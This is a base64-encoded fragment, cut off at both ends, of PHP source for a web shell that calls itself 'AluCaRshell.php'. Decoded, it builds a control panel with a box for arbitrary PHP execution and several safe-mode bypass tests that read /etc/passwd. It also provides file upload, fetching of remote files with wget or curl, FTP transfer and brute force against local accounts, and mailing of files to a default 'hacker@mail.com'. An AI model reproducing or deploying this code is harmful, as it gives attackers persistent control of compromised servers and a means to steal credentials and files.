TsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDczJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTsvdG1wICkiKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfbWFzaycsODUsJyouW2hjXScpLndzKDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NSddLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2ZpbmRfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkOScpLiR0YWJsZV91cDIuJGZvbnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQ5JykuIjx0ZXh0YXJlYSBuYW1lPXBocF9ldmFsIGNvbHM9MTAwIHJvd3M9NT4iOw0KZWNobyAoIWVtcHR5KCRfUE9TVFsncGhwX2V2YWwnXSk/KCRfUE9TVFsncGhwX2V2YWwnXSk6KCIvKiBkZWxldGUgc2NyaXB0ICovXHJcbi8vdW5saW5rKFwiQWx1Q2FSc2hlbGwucGhwXCIpO1xyXG4vL3JlYWRmaWxlKFwiL2V0Yy9wYXNzd2RcIik7IikpOw0KZWNobyAiPC90ZXh0YXJlYT4iOw0KZWNobyBpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3BocF9ldmFsJyk7DQplY2hvICI8YnI+Ii53cygxKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pOw0KZWNobyAiPC9kaXY+PC9kaXY+PC9mb250PiI7DQplY2hvICR0YWJsZV9lbmQxLiRmZTsNCmlmKCRzYWZlX21vZGUmJiRjdXJsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTAnKS4kdGFibGVfdXAyLmRpdignaWQxMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NUWyd0ZXN0MV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNCddLCdpZDExJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTEnKS4kdHM7DQplY2hvICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUmJiRtc3NxbF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NSddLCdpZDEzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21kJ10pPygkX1BPU1RbJ3Rlc3Q0X21kJ10pOigibWFzdGVyIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tbCddKT8oJF9QT1NUWyd0ZXN0NF9tbCddKTooInNhIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tcCddKT8oJF9QT1NUWyd0ZXN0NF9tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk/KCRfUE9TVFsndGVzdDRfcG9ydCddKTooIjE0MzMiKSkpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDRfZmlsZSddKTooImRpciIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSYmJHVuaXgmJmZ1bmN0aW9uX2V4aXN0cygnbWJfc2VuZF9tYWlsJykpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMiddLCdpZDIyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NV9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDVfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUmJmZ1bmN0aW9uX2V4aXN0cygnaW1hcF9saXN0Jykpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMyddLCdpZDIzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjMnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q2X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0Nl9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk6KCRkaXIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2JvZHknKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE0J10sJ2lkMjQnKS4kdGFibGVfdXAyLmRpdignaWQyNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q3X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0N19maWxlJ10pPygkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTUnXSwnaWQyNScpLiR0YWJsZV91cDIuZGl2KCdpZDI1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDhfZmlsZTEnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0OCcpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pOigkZGlyKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoQGluaV9nZXQoJ2ZpbGVfdXBsb2FkcycpKXsNCmVjaG8gIjxmb3JtIG5hbWU9dXBsb2FkIG1ldGhvZD1QT1NUIEVOQ1RZUEU9bXVsdGlwYXJ0L2Zvcm0tZGF0YT4iOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NSddLCdpZDE0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlJyw4NSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ25mMSBpZD1uZjEnLDAsJzEnKS5pbigndGV4dCcsJ25ld19uYW1lJyw4MiwnJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCEkc2FmZV9tb2RlJiYkdW5peCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTUnXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cIndpdGhcIj48b3B0aW9uIHZhbHVlPVwid2dldFwiPndnZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiZmV0Y2hcIj5mZXRjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJseW54XCI+bHlueDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJsaW5rc1wiPmxpbmtzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImN1cmxcIj5jdXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkdFVFwiPkdFVDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywncmVtX2ZpbGUnLDc4LCdodHRwOi8vJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDEwNSwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NiddLCdpZDE2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkX25hbWUnLDg1LCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Rvd25sb2FkX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE0J10pKTsNCiRhcmggPSAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTInXTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCd6aXAnKS4nIHppcCc7ICAgfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3plbmNvZGUnKSkgICB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ2d6aXAnKS4nIGd6aXAnOyB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdiemNvbXByZXNzJykpIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnYnppcCcpLicgYnppcCc7IH0NCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkxJ10uJGFycm93LiI8L2I+IixpbigncmFkaW8nLCdjb21wcmVzcycsMCwnbm9uZScsMSkuJyAnLiRhcmgpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygiZnRwX2Nvbm5lY3QiKSl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MyddLCdpZDE3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTcnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIGNsYXNzPW1haW4gdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODcnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0Jyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2xvZ2luJ10pPygkX1BPU1RbJ2Z0cF9sb2dpbiddKTooImFub255bW91cyIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3Bhc3N3b3JkJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pPygkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV9kb3duJykpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgY2xhc3M9bWFpbiB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0Jyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2xvZ2luJ10pPygkX1BPU1RbJ2Z0cF9sb2dpbiddKTooImFub255bW91cyIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3Bhc3N3b3JkJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pPygkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJyw0NSwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfZmlsZScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9maWxlJ10pPygkX1BPU1RbJ2Z0cF9maWxlJ10pOigiL2Z0cC1kaXIvZmlsZSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2ZpbGVfdXAnKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KaWYoJHVuaXggJiYgQGZ1bmN0aW9uX2V4aXN0cygiZnRwX2Nvbm5lY3QiKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTQnXSwnaWQxOCcpLiR0YWJsZV91cDIuZGl2KCdpZDE4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0Jyw4NSwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2JydXRlJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvIHNyKDE1LCIiLCI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OSddLiIgKCA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2Vycz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NSddLiI8L2E+ICk8L2ZvbnQ+Iik7DQplY2hvIHNyKDE1LCIiLGluKCdjaGVja2JveCcsJ3JldmVyc2UgaWQ9cmV2ZXJzZScsMCwnMScpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZihAZnVuY3Rpb25fZXhpc3RzKCJtYWlsIikpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAyJ10sJ2lkMTknKS4kdGFibGVfdXAyLmRpdignaWQxOScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgY2xhc3M9bWFpbiB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDMnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3RvJyw0NSwoIWVtcHR5KCRfUE9TVFsndG8nXSk/KCRfUE9TVFsndG8nXSk6KCJoYWNrZXJAbWFpbC5jb20iKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21haWwnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDQ1LCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJoZWxsbyBiaWxseSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA4J10uJGFycm93LiI8L2I+IiwnPHRleHRhcmVhIG5hbWU9dGV4dCBjb2xzPTMzIHJvd3M9Mj4nLighZW1wdHkoJF9QT1NUWyd0ZXh0J10pPygkX1BPU1RbJ3RleHQnXSk6KCJtYWlsIHRleHQgaGVyZSIpKS4nPC90ZXh0YXJlYT4nKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgY2xhc3M9bWFpbiB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3RvJyw0NSwoIWVtcHR5KCRfUE9TVFsndG8nXSk/KCRfUE9TVFsndG8nXSk6KCJoYWNrZXJAbWFpbC5jb20iKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21haWxfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Zyb20nLDQ1LCghZW1wdHkoJF9QT1NUWydmcm9tJ10pPygkX1BPU1RbJ2Zyb20nXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIj